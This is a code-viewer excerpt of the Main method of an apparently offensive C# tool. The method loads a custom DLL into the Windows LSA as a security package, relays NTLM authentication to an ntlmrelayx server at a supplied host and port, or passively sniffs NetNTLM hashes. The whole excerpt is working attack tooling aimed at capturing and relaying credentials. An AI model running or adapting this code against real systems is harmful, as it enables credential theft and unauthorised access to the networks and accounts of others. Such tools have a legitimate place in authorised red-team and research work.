(string[] args)
| 516 | |
| 517 | |
| 518 | static void Main(string[] args) { |
| 519 | |
| 520 | bool showHelp = false; |
| 521 | long spmpLookupPackageOffset = 0; |
| 522 | |
| 523 | OptionSet option_set = new OptionSet() |
| 524 | .Add("host=", "Address of ntlmrelayx RAW server", v => host = v) |
| 525 | .Add<ushort>("port=", "Port for ntlmrelayx RAW server (default 6666)", v => port = v) |
| 526 | .Add("lookuppackage-hint=", "Hex value offset to SpmpLookupPackage (useful if cannot be found automatically", v => spmpLookupPackageOffset = int.Parse(v, System.Globalization.NumberStyles.HexNumber)) |
| 527 | .Add("passive", "Operate in a passive mode and sniff NetNTLM hashes only", v => passive = true) |
| 528 | .Add("h|help", "Display this help", v => showHelp = v != null); |
| 529 | |
| 530 | try { |
| 531 | |
| 532 | option_set.Parse(args); |
| 533 | |
| 534 | if (showHelp) { |
| 535 | option_set.WriteOptionDescriptions(Console.Out); |
| 536 | return; |
| 537 | } |
| 538 | |
| 539 | } catch (Exception e) { |
| 540 | Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); |
| 541 | option_set.WriteOptionDescriptions(Console.Out); |
| 542 | return; |
| 543 | } |
| 544 | |
| 545 | if(host == null) { |
| 546 | Console.WriteLine("[=] No host supplied, switching to passive mode"); |
| 547 | passive = true; |
| 548 | } else { |
| 549 | Console.WriteLine($"[+] Using {host}:{port} for relaying NTLM connections"); |
| 550 | } |
| 551 | |
| 552 | var serverThread = new Thread(ServerThread); |
| 553 | serverThread.Start(); |
| 554 | serverThreadReady.WaitOne(); |
| 555 | |
| 556 | initResponse = GetFunctionOffsets(spmpLookupPackageOffset); |
| 557 | |
| 558 | if(initResponse == null) { |
| 559 | return; |
| 560 | } |
| 561 | |
| 562 | SECURITY_PACKAGE_OPTIONS spo = new SECURITY_PACKAGE_OPTIONS(); |
| 563 | string lsaDllPath = new FileInfo("liblsarelayx.dll").FullName; |
| 564 | |
| 565 | Console.WriteLine($"[=] Attempting to load LSA plugin {lsaDllPath}"); |
| 566 | |
| 567 | uint result = AddSecurityPackage(lsaDllPath, spo); |
| 568 | |
| 569 | if(result != 0) { |
| 570 | Console.WriteLine($"[!] Failed to add LSA security package with error 0x{result:x}"); |
| 571 | } |
| 572 | |
| 573 | Console.ReadLine(); |
| 574 | } |
| 575 | } |
nothing calls this directly
no test coverage detected